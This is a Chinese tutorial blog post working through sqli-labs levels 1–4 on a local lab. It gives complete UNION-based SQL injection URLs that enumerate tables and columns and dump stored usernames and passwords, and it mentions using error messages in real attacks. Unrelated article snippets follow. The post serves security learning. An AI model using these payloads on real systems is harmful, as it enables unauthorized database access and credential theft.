sqli-lab靶场学习(一)——Less1-4

前言

最近一段时间想切入安全领域,因为本身有做数据库运维工作,就打算从sql注入方向切入。而sql注入除了学习日常书本上的概念外,需要有个实践的环境,刚好看到sqli-lab这个靶场,就打算先用这个来学习。

安装部署

网上很多关于安装部署的教程,很简单。本人是下载PHPStudy进行部署的。由于sqli-lab是用php5版本,现在很多一体化环境(我用wamp)的php都是7版本。我试过用github上有人修改sqli-lab适配php7版本,但是不清楚为什么报错的时候不会回显,这严重影响调试,所以还是换成PHPStudy,并且切换为php5版本进行部署就好了。

Less1

进入页面测试

输入http://localhost/sqli-labs/Less-1/进入第一关,地址和读者的部署情况有关。我是直接把sqli-lab解压放到apache的www目录下。

第一关会要求我们输入一个id作为传参,我们尝试id=1的情况:

之后尝试id=2、id=3……一直到id=13,发现为空:

证明id=13不存在。

确定闭合方式

我们可以看一下php的源码,打开Less-1的index.php

可以看到红色框起来的部分,我们传入的id直接拼接到sql查询语句中。这给我们看到一个sql注入的漏洞,就是通过单引号闭合变量。例如我们传参的时候带入一个单引号, 然后通过 -- 或者 # 忽略后续的语句,就形成了sql注入。

如果我们看不到源码,怎么知道它是单引号闭合呢?漏洞都得测试出来,我们可以尝试添加单引号、括号、双引号等等方式去测试闭合情况。比如这里如果传入id=1':

 因为多传了一个单引号,所以实际拼接的语句变成了:

SELECT * FROM users WHERE id='1'' LIMIT 0,1

这个语句多了个单引号,肯定报错了。

判断列数

接下来判断这个sql查询一共有多少列。输入:

http://localhost/sqli-labs/Less-1/?id=1' order by 1-- asd

这里通过单引号闭合,已经形成形成了注入。依次增加order by的数字,发现到order by 4的时候,出现报错:

 证明sql语句显示的只有三列。

联合注入

判断了列数后,我们看看能否通过联合查询回显数据,输入:

http://localhost/sqli-labs/Less-1/?id=13' union select 1,2,3-- asd

可以看到第二、三列注入到“Your Login name”和“Your Password”的显示位置。我们输入id=13的原因在于之前判断了id=13是没有数据的,那回显的数据就会用union后面的数据了,如果输入id=1,那回显就是正常,而非我们想要注入的结果。这就是联合注入的关键!

查询具体的数据库名、表名、列名

联合注入成功后,其实离胜利已经很近了。接下来要把查询回显的列替换成查询数据库名、表名、列名。先查询数据库名:

http://localhost/sqli-labs/Less-1/?id=13' union select 1,database(),3-- asd

通过回显可以看到目前查询的表在名为security的库中。

接下来查询security库中有什么表,通过information_schema的tables表可以找出来:

http://localhost/sqli-labs/Less-1/?id=13' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- asd

使用group_concat可以把全部表名显示出来。不过有时候回显的位置可能有长度限制或者显示限制,这种方式有时候不准确,所以更实在的方式是利用limit一个一个查出来:

http://localhost/sqli-labs/Less-1/?id=13' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 3,1 -- asd

当我们从limit 0,1一直到limit 3,1时,发现users这个表很可能就是包含用户名密码的表,我们要把它的数据查出来。查出来的前提是知道列名,通过information_schema的columns可查出:

http://localhost/sqli-labs/Less-1/?id=13' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' -- asd

通过回显看到username和password似乎就是我们想要找的两列,我们把它们查出来:

http://localhost/sqli-labs/Less-1/?id=13' union select 1,group_concat(username),group_concat(password) from security.users -- asd

至此账号密码已经查出,sql注入成功!

Less2

第二关先看php源码:

‘可以看到源码是直接对获得的id进行拼接。所以第二关连单引号闭合都不需要了。根据第一关的经验,直接输入:

http://localhost/sqli-labs/Less-2/?id=13 union select 1,group_concat(username),group_concat(password) from security.users -- asd

 

Less3

第三关同样先看php源码:

发现这次的拼接是带了但括号,所以进行变量闭合时带上括号:

http://localhost/sqli-labs/Less-3/?id=13') union select 1,group_concat(username),group_concat(password) from security.users -- asd

Less4

同样的先看源码:

这次源码对id的前后加了双引号拼接,然后外面还有一层括号。这种情况我们就加个双引号和括号去闭合:


http://localhost/sqli-labs/Less-4/?id=13") union select 1,group_concat(username),group_concat(password) from security.users -- asd

小结

第一关是很简单的注入,不过其涉及到的内容很多,刚接触sql注入的朋友可能会有点懵。确实我刚开始也有点懵,因为一般做开发、做运维的朋友不会这样去写sql语句。当概念都了解了之后,就会觉得其实也就这么回事,Less-1没什么高大上的。另外注意这个靶场环境一定要搞好,否则很可能出现输入同样的查询,得出来不一样的结果,严重影响学习和理解效率。

这几关我们都是看了源码再操作。实际进行注入攻击当然不可能看到源码去注入,所以要尝试,最好能看到报错信息来确定。比如Less3我们用单引号闭合测试:

http://localhost/sqli-labs/Less-3/?id=1'

看到这个报错信息,这里面有单引号,也有括号,那就可以确认这题的闭合是和单引号、括号相关的。这类闭合方式来来去去就那几种情况,实际攻击的时候可以都试一下,再利用返回的报错信息确认是哪种情况

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/53469.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

指针初始化和定义

简要 在计算机中我们把内存单元的编号也称为地址。C语言中给地址起了新的名字叫:指针。 所以我们可以理解为:内存单元的编号 地址 指针 1.指针指向变量的初始化 初始化定义方式: 指针变量名 & 变量名; 若在定义时初始…

【Spring Boot 3】【Web】统一封装 HTTP 响应体

【Spring Boot 3】【Web】统一封装 HTTP 响应体 背景介绍开发环境开发步骤及源码工程目录结构总结背景 软件开发是一门实践性科学,对大多数人来说,学习一种新技术不是一开始就去深究其原理,而是先从做出一个可工作的DEMO入手。但在我个人学习和工作经历中,每次学习新技术总…

小阿轩yx-Kubernertes日志收集

小阿轩yx-Kubernertes日志收集 前言 在 Kubernetes 集群中如何通过不同的技术栈收集容器的日志,包括程序直接输出到控制台日志、自定义文件日志等 有哪些日志需要收集 日志收集与分析很重要,为了更加方便的处理异常 简单总结一些比较重要的需要收集…

数据分析面试题:如何分析每日平均每件商品的锁定时长问题?

目录 0 题目描述 2 数据准备 3 数据分析 3.1 需求1:计算 2014/03/22-2014/04/30 每天的购买客户数、订单量、销售件数、销售额 3.2 计算 2014 年 4 月各品类的销售额、晚上 20-24 点销售额 3.3 提取 2014 年 3-5 月销售额排名前三的客户信息(排名/客户号/客户姓名/总销…

深入理解Elasticsearch的`_source`字段与索引优化

在Elasticsearch (ES) 中,_source字段是一个关键组件,它不仅决定了数据的存储方式,还影响到查询时返回的内容。在某些场景下,我们可以通过配置_source来优化存储和性能,尤其是当我们希望减少存储空间或避免返回某些字段…

如何保障Kubernetes集群安全?

如何保障Kubernetes集群安全? 💖The Begin💖点点关注,收藏不迷路💖 Kubernetes通过多重机制保障集群安全,主要包括: 容器隔离:容器与宿主机隔离,防止相互影响。权限控制:遵循最小权限原则,限制组件和用户权限,使用RBAC进行细粒度管理。API Server安全:通过认证…

如何让linux程序在后台执行

怎么让linux程序在后台执行: 一、在命令末尾添加 “&” 符号 例如,要运行一个名为 my_program 的程序并让它在后台执行,可以这样做: my_program &执行这个命令后,程序会在后台运行,终端会立即返回…

华为OD机试真题 - 二叉树的广度优先遍历 - 二叉树(Python/JS/C/C++ 2024 D卷 200分)

华为OD机试 2024E卷题库疯狂收录中,刷题点这里 专栏导读 本专栏收录于《华为OD机试真题(Python/JS/C/C)》。 刷的越多,抽中的概率越大,私信哪吒,备注华为OD,加入华为OD刷题交流群,…

(六十二)第 9 章 查找(开放定址哈希表)

示例代码 hashTable.h // 开放定址哈希表的存储结构实现头文件#ifndef HASH_TABLE_H #define HASH_TABLE_H#include "errorRecord.h"#define NULL_KEY -2 #define NUM 10#define SUCCESS 1 #define UNSUCCESS 0 #define DUPLICATE -1#define EQUAL(a, b) ((a) == (b)…

Github 2024-09-07Rust开源项目日报Top10

根据Github Trendings的统计,今日(2024-09-07统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Rust项目10CUE项目1Python项目1Go项目1Polars: Rust中的DataFrame接口和OLAP查询引擎 创建周期:1354 天开发语言:Rust, Python协议类型:MIT …

Ubuntu之源码编译安装nginx

参考:Ubuntu之源码编译安装nginx_ubuntu编译安装nginx-CSDN博客 1.下载源码后进入源码目录,如下: cd /home/jq/wf/nginx-1.26.1 2.下载相应依赖库: apt-get install libpcre3-dev apt-get install openssl libssl-dev apt-get…

基于STM32设计的ECG+PPG人体参数测量系统(华为云IOT)(217)

文章目录 一、前言1.1 项目介绍【1】开发背景【2】项目实现的功能【3】项目硬件模块组成1.2 设计思路【1】整体设计思路【2】整体构架【3】上位机开发思路【4】ESP8266工作模式配置1.3 项目开发背景【1】选题的意义【2】可行性分析【3】参考文献【4】摘要【5】项目背景1.4 开发…

神经网络骨架nn.Module

文章目录 一、认识nn.Module二、nn.Module的基础加1操作 一、认识nn.Module nn.Module 是 PyTorch 中的一个核心类,它是所有神经网络模块的基类。在 PyTorch 中构建模型时,通常会继承这个类来创建自定义的网络结构。nn.Module 提供了一系列用于构建神经…

MATLAB 中的矩阵切片操作详解(细节无敌)

在 MATLAB 中,矩阵切片(Matrix Slicing)是一种非常常用的操作,用于从矩阵或数组中提取子集。这种操作非常灵活,可以通过指定行和列的索引来获取子矩阵。矩阵切片在数据处理、算法设计、图像处理等许多领域都非常有用。…

QT中tr的作用是什么

在Qt框架中,tr() 函数是一个非常重要的宏,它用于国际化和本地化(i18n和l10n)支持。tr() 函数使得Qt应用程序能够根据不同的语言环境(locale)显示相应的翻译文本,从而支持多种语言。 具体来说&a…

如何在Word中插入复选框

如何在Word中插入复选框:详细教程与技巧 在Word中插入复选框是一项非常实用的技巧,尤其是在制作问卷调查、待办事项清单、交互式表单或文档中需要用户进行选择时,复选框不仅能提高文档的功能性,还能显得更加专业。本文将详细讲解…

2024 年高教社杯全国大学生数学建模竞赛 C 题 农作物的种植策略 完整参考论文

持续更新中,2024年数学建模比赛思路代码论文都会发布到专栏内,只需订阅一次! 完整论文+代码+数据结果链接在文末! 订阅后可查看参考论文文件 1 介绍 1.1 背景 乡村振兴是我国现代化建设的重要战略之一,而农业产业的可持续发展则是其中的核心内容。特别是在耕地资源有限的…

嵌入式软件--51单片机 DAY 4

一、蜂鸣器 当电流通过线圈时会产生电磁场,电磁场与永磁体相互作用,从而使金属膜产生震动而发声。为使金属膜持续震动,蜂鸣器需要使用震荡电路进行驱动。有些蜂鸣器元件内部自带震荡驱动电路,这种蜂鸣器叫做有源蜂鸣器&#xff0…

idea问题解决:java: -source 7 中不支持 方法引用 (请使用 -source 8 或更高版本以启用 方法引用)

以下是AI生成 :鱼聪明AI - 做您强大的AI助手 这个错误信息表明你尝试使用了Java 8中引入的方法引用特性,但是你的编译器设置使用的源代码版本是Java 7。方法引用是Java 8中引入的一个新特性,允许你以更简洁的方式调用方法。 要解决这个问题…

计算机网络 TCP/IP协议篇

今天学习了TCP/IP协议的相关知识,学习笔记如下: 在学习之前,我们先抛出几个问题,什么是TCP/IP协议簇?TCP/IP协议簇是怎么工作的? TCP/IP模型 协议分层 每层通过协议完成各自特定的功能上层依赖下层提供…